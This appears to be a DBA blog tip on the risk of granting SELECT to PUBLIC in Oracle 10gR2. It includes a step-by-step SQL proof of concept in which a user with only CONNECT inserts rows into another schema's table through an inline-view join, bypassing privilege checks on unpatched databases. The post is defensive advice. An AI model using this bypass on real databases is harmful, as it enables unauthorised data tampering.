TIP # 47 :Consideration in granting SELECT to public

I posted this log because of the situation that I faced with for a client last week.I created a user in 10g database (10gR2) and granted only connect privilege.I was suprised when I Logged in with a new user and checked out all tables which are accessible by user (select * from user_tables) . Users had privileges to select from some tables in other schema while user had only connect privilege.

After digging up, I found out that these privileges are because of select privileges which have been granted to PUBLIC user. The lesson is that any privilege which is granted to public, is granted to all users.As the result, in order to prevent security hole, granting privileges to PUBLIC should be restricted.

Above all, a known bug or it is better to say a big security hole may exists in DBs which select privilege has been granted to PUBLIC. In Database without latest CPU patch, users in database can run any DML commands on tables which only select provilege has been granted to public . (Security Hole !!!) .

The following shows the sample :

create user test identified by test;
create user test1 identified by test1;
grant resource,connect to test;
grant connect to test1;

--------- Create a table in test user and grant select to publi
cconnect test/test
create table test_sec (id number primary key,id2 number);
grant select on test_sec to public;

--------- Connect to second user .
connect test1/test1

desc test.test_sec
Name Null? Type
---------------------------
ID NOT NULL NUMBER
ID2 NUMBER

select * from test.test_sec; <===== user can select because select was granted to user

insert into test.test_sec values(1,1);

ORA-01031: insufficient privileges <======= User can not insert because insert was not granted

===========Bug ============== test1 can insert into test.test_sec if using the following syntax :

insert into (select a.id,a.id2 from (select * from test.test_sec)a inner join (select * from test.test_sec )b on (a.id=b.id) ) values (1,2);

1 row inserted. <========== User can insert while it has not any privilege to do that

select * from test.test_sec;

ID ID2
------------------
1 2

Bottom line is that avoid granting privileges to public users or have a monitoring of granted privileges to public users to prevent from unexpected permission.